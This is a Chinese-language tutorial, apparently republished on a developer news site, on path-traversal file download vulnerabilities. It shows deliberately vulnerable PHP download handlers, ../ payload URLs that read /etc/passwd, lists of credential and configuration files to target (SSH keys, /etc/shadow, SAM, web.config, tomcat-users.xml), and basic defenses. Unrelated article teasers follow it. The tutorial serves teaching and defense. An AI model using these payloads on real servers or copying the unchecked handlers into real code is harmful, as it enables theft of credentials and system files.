文件下载漏洞, 漏洞原理, 测试方法, 漏洞防御, 常见敏感路径

文件下载漏洞

一, 文件下载漏洞原理

利用条件:
1. 读取文件的路径是用户可控, 且没有校验或检验不严.
2. 使用了读取文件的函数.
3. 输出了文件内容.

漏洞场景一:

后端没有限制哪些路径的文件可以下载

后端代码:

http://192.168.112.200/security/download.php

$file_path = $_GET['filename'];
echo file_get_contents($file_path); // 直接在页面上显示文件内容
Header("Content-type: application/octet-stream"); // 设置响应头为下载而不是读取内容
// 下载后的文件名, 如果不设置默认名称是download.php
Header("Content-Disposition: attachment; filename=".basename($file_path)); 

重点是添加上 "Content-type: application/octet-stream" 响应头后, 向服务器请求的文件就变成自动下载.

漏洞利用:

这里filename参数是用户可控的, 通过这个参数就可以下载其他目录文件, 比如下载passwd文件:

http://192.168.112.200/security/download.php?filename=/etc/passwd

或利用../回溯上级目录, 无论当前在哪一级目录都可能回溯到根目录:

http://192.168.112.200/security/download.php?filename=../../../../../../etc/passwd

漏洞场景二:

后端限制文件允许下载的目录

后端代码:
// 对提交的文件路径前面做了目录拼接, 只允许下载upload目录内的文件
$file_path = "upload/{$_GET['filename']}";if(!file_exists($file_path)){die("你要下载的文件不存在,请重新下载");
}$fp = fopen($file_path, "rb");
$file_size = filesize($file_path);//下载文件需要的响应头
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));// 当文件较大时, 需要循环读取文件流,然后返回到浏览器
// feof() 函数确认是否读到了末尾EOF
$buffer = 1024; // 每次读取的大小
$file_count = 0; 
while(!feof($fp) && $file_count<$file_size){$file_con = fread($fp,$buffer);echo $file_con;$file_count += $buffer;
}
fclose($fp);
漏洞利用:

这里如果直接提交upload之外的路径文件读取不到, 例如:

http://192.168.112.200/security/download.php?filename=/etc/passwd

那么后端拼接之后是: upload/etc/passwd, 读取不到.

使用../回溯上级目录绕过:

http://192.168.112.200/security/download.php?filename=/../../../../../../../etc/passwd

那么后端拼接之后是: upload//…/…/…/…/…/…/…/etc/passwd

二, 文件下载漏洞的测试方法.

  1. 发送文件资源请求, 抓包观察参数, 是否有 file, filename, page, url, path 等名称, 可能是文件路径参数.
  2. 尝试提交 ../../../../../etc/passwd类似的参数来下载常见的系统敏感文件, 如果成功说明存在漏洞.

三, 文件下载漏洞防御:

  1. 过滤特殊的字符点 ".", 避免用户在url中可以回溯上级目录.
  2. 对用户输入的参数做严格打的正则校验, 限制访问的目录.
  3. 在php.ini文件中配置 open_basedir , 限制文件访问的目录.

四, 常见的系统敏感路径文件:

# linux:
/root/.ssh/authorized_keys					//ssh登录认证文件
/root/.ssh/id_rsa							//公钥文件
/root/.ssh/id_rsa.keystore					//密钥存放文件
/root/.ssh/known_hosts						//已访问过的主机公钥记录文件
/etc/passwd									//用户信息
/etc/shadow									//密码存放文件
/etc/my.cnf									//mysql配置文件
/etc/httpd/conf/httpd.conf					//apache配黑文件
/root/.bash_history							//记录系统历史命令文件
/root/.mysq1_history						//记录数据库历史命令文件
/proc/self/fd/fd[0-9](文件标识符)			//连接当前正运行的进程
/proc/mounts								//已挂载的文件系统信息
/porc/config.gz								//内核配置文件# windows:
C:\boot.ini									//查看系统版本
C:windows\win.ini							//基本系统配置文件
C:\windows\System32\inetsrv\MetaBase.xm]	//IIS配需文件
C:\windows\repair\sam						//存储系统初次安装的密码
C:\ProgramFiles\mysq1\my.ini				//Mysql配置
C:\ProgramFiles mysq1\data\mysq]\user.MYD	//Mysqlroot
C:\windows\php.ini							//php配置信息
C:\windows\my.ini							//Mysql配置信息

五, 常见的网络服务器敏感路径文件

1. tomcat, jsp
1. tomcat-users.xm1(用户配置文件)tomcat-users.xm]认在conf目录下,或许可以直接使用下戟点下载该文件。http://目标网站/down.isp?filename=tomcat-users.xml&path=C:/Program Files/Apache SoftwareFoundation/Tomcat 6.0/conf/tomcat-users.xm]2. web.xm](网站配器文件》Jsp网站配黑文件默认放在根目录WEB-INF/Web.xm下(一般都有很多内容有时含有数据库连接用户名和密码等关键信息)http://目标站点/file.do?method=downFile&fileName=../WEB-INF/Web.xml
2. php

php一般是mysq1数据库,一般mysq1数据库禁止远程连接,但是有些站点会使用使用phpMyAdmin进行管理。
下载数据库配置文件:

http://目标站点/download.php?filename=../conf/config.php&dir=/&title=config.php
3. asp
http://目标站点/download.asp?filename=../../inc/conn.asp(数据库配置文件)
http://目标站点/download.asp?filename=../../download.asp(网站配置文件)
http://目标站点/download.asp?filename=../../Admin_login.asp(用户登录界面)
http://目标站点/database/xxxx.mdb(数据库路径)
4. aspx
web.config文件《网站配置文件)
aspx站点用根目录下的web.config文件保存配置信息,尝试构造确定根目录:http://目标站点/DownLoadFileLow.aspx?FileName=../web.config

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/124475.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

keealived安装配置启动

1.keepalived作用和原理图 keepalived作用:解决单点故障简单原理图1: 2.keepalived安装配置启动 地址: https://www.keepalived.org/download.html# 1)解压 tar -zxvf keepalived-2.0.18.tar.gz # 2)进入keepalived目录 cd keepalived-2.0.18/ # 3)安装libnl/libnl-3依赖…

chat gpt 在开发当中的应用

chatgpt 出来已经有一段时间了&#xff0c;本人在开发的过程中也是有去使用。 经常使用的是讯飞大模型和通义千问&#xff0c;在使用的过程中&#xff0c;个人感觉讯飞大模型在写代码方面会比较智能。 比如问一个 sqlser 单表 数据量 几个亿如何处理的问题&#xff0c;讯飞会给…

C/C++ 飞翔的小鸟

载入问题&#xff1a; 解决之后效果&#xff1a; 放在main函数里面进行封装&#xff1a; 效果展示: 实现下坠 放进while&#xff08;1&#xff09;里面不断进入循环&#xff0c;每次进入循环&#xff0c;鸟的y坐标值就会发生变化&#xff0c;以此实现下下坠效果 效果展示&#…

Vue 数据绑定 和 数据渲染

目录 一、Vue快速入门 1.简介 : 2.MVVM : 3.准备工作 : 二、数据绑定 1.实例 : 2.验证 : 三、数据渲染 1.单向渲染 : 2.双向渲染 : 一、Vue快速入门 1.简介 : (1) Vue[/vju/]&#xff0c;是Vue.js的简称&#xff0c;是一个前端框架&#xff0c;常用于构建前端用户…

Hive客户端和Beeline命令行的基本使用

本专栏案例数据集链接: https://download.csdn.net/download/shangjg03/88478038 1.Hive CLI 1.1 命令帮助Help 使用 `hive -H` 或者 `hive --help` 命令可以查看所有命令的帮助,显示如下: usage: hive-d,--define <key=value> Variable subsitution to ap…

C#学习相关系列之多线程---TaskCompletionSource用法(八)

一、TaskCompletionSource类的作用 TaskCompletionSource类回调代码转换为可以等待的Task&#xff0c;TaskCompletionSource本身不是可等待的&#xff0c;它也不是有效的异步方法返回类型。一旦TaskCompletionSource给了你一个任务&#xff0c;你可以简单地返回那个任务&#x…

2023NOIP A层联测20-点餐

一家新的餐馆开业了&#xff0c;为了吸引更多的顾客&#xff0c;每样餐品都有打折的活动。特别的&#xff0c;餐馆内一共有&#x1d45b;样菜品&#xff0c;编号从 1 1 1 到 n n n&#xff0c;每样菜品每人最多只能点一次。对于第 i i i 种菜品&#xff0c;其包含两种价格&a…

Flutter FittedBox

&#x1f525; 英文单词FittedBox &#x1f525; Fitted 通过有道翻译如下 &#xff1a; Box 通过有道翻译如下 &#xff1a; 对 FittedBox 的理解 我们可以将 FittedBox 理解为合适的盒子&#xff0c;将其它布局放到FittedBox这样一个盒子中&#xff0c;从而实现 盒子里面的…

kubernetes实验挑战二(troubleshoot pv pvc )

This 2-Node Kubernetes cluster is broken! Troubleshoot, fix the cluster issues and then deploy the objects according to the given architecture diagram to unlock our Image Gallery!! 1、 kubeconfig /root/.kube/config, User ‘kubernetes-admin’ Cluster: S…

SpringCloud(一) 服务架构的演变及注册RestTemplate实现服务的远程调用

目录 一, 服务架构的演变 1.1 单体架构 1.2 分布式架构 1.3 微服务 1.4 SpringCloud 二, 服务拆分和远程调用 2,1 服务拆分原则 2.2 服务拆分示例 2.3 创建相应数据库 2.4 实现远程调用示例 1, 更改需求 2, 注册RestTemplate实现远程调用 2.5 服务消费者和提供者 一…

D-Bus:数据类型

D-Bus中描述接口的属性和方法,有其自己定义的一套签名描述方式: 数据类型描述符号对应C++数据类型avector/array数组, ai表示的是vector<int32_t>bboolddouble双精度浮点数iint32_t,32位有符号整数nint16_t,16位有符号整数oobject_path对象路径quint16_t,16位无符号…

【数据分析】上市公司半年报数据分析

前言 前文介绍过使用网络技术获取上市公司半年报数据的方法&#xff0c;本文将对获取到的数据进行简要的数据分析。 获取数据的代码介绍在下面的两篇文章中 【java爬虫】使用selenium获取某交易所公司半年报数据-CSDN博客 【java爬虫】公司半年报数据展示-CSDN博客 全量数…

Flutter笔记:完全基于Flutter绘图技术绘制一个精美的Dash图标(中)

Flutter笔记 完全基于Flutter绘图技术绘制一个精美的Dart语言吉祥物Dash&#xff08;中&#xff09; 作者&#xff1a;李俊才 &#xff08;jcLee95&#xff09;&#xff1a;https://blog.csdn.net/qq_28550263 邮箱 &#xff1a;291148484163.com 本文地址&#xff1a;https://…

微服务框架Consul--新手入门

Consul Consul 是由 HashiCorp 开发的一款软件工具&#xff0c;提供了一组功能&#xff0c;用于服务发现、配置管理和网络基础设施自动化。它旨在帮助组织管理现代分布式和微服务架构系统的复杂性。以下是Consul的一些关键方面和功能&#xff1a; 服务发现&#xff1a;Consul …

【Qt之QString】去除“字符“或替换“字符“小技巧

去除字符 在Qt中&#xff0c;可以使用以下函数来去除字符串中的字符。 QString &remove(int i, int len)&#xff1a;删除字符串中从索引位置i开始长度为len的字符。QString &remove(QChar c, Qt::CaseSensitivity cs Qt::CaseSensitive)&#xff1a;删除字符串中所…

SQL Wildcards 通配符

SQL Wildcards 通配符 通配符用于替换字符串中的任何其他字符。 通配符与 SQL LIKE 运算符一起使用。在 WHERE 子句中使用LIKE运算符来搜索列中的指定模式。 有两个通配符与 LIKE 运算符一起使用&#xff1a; &#xff05; - 百分号表示零个&#xff0c;一个或多个字符_ - 下…

【Linux】centOS7安装配置及Linux的常用命令---超详细

一&#xff0c;centOS 1.1 centOS的概念 CentOS&#xff08;Community Enterprise Operating System&#xff09;是一个由社区支持的企业级操作系统&#xff0c;它是以Red Hat Enterprise Linux&#xff08;RHEL&#xff09;源代码为基础构建的。CentOS提供了一个稳定、可靠且…

软件测试面试高频30道面试题

如果哪个测试经理在看我的文章&#xff0c;希望对面试者要微笑&#xff0c;不然面试结束&#xff0c;出门之后就一万个草泥马奔腾而过&#xff0c;其实面试者并不是希望你给他们什么&#xff0c;而是一种尊重&#xff0c;平等的谈话&#xff0c;不要高高在上感觉自己超牛逼一样…

js数组深拷贝汇总

1.for 循环实现数组的深拷贝 通过对数组的for循环&#xff0c;即可实现对数组的深拷贝了。 var arr [1,2,3,4,5] var arr2 copyArr(arr) function copyArr(arr) {let res []for (let i 0; i < arr.length; i) {res.push(arr[i])}return res }2.slice 方法实现数组的深…

论文范文:论基于架构的软件设计方法及应用

注意:范文只适用于帮助大家打开写作思路,并不能作为素材直接用于平时练习、考试中。考试中直接使用范文的素材,会有被认定为雷同卷的风险。 摘要: 2022年4月,本人所在单位计划研发生态集装箱管理控制平台项目。该平台主要用于与现有公司生态集装箱产品做对接,达到远程控制…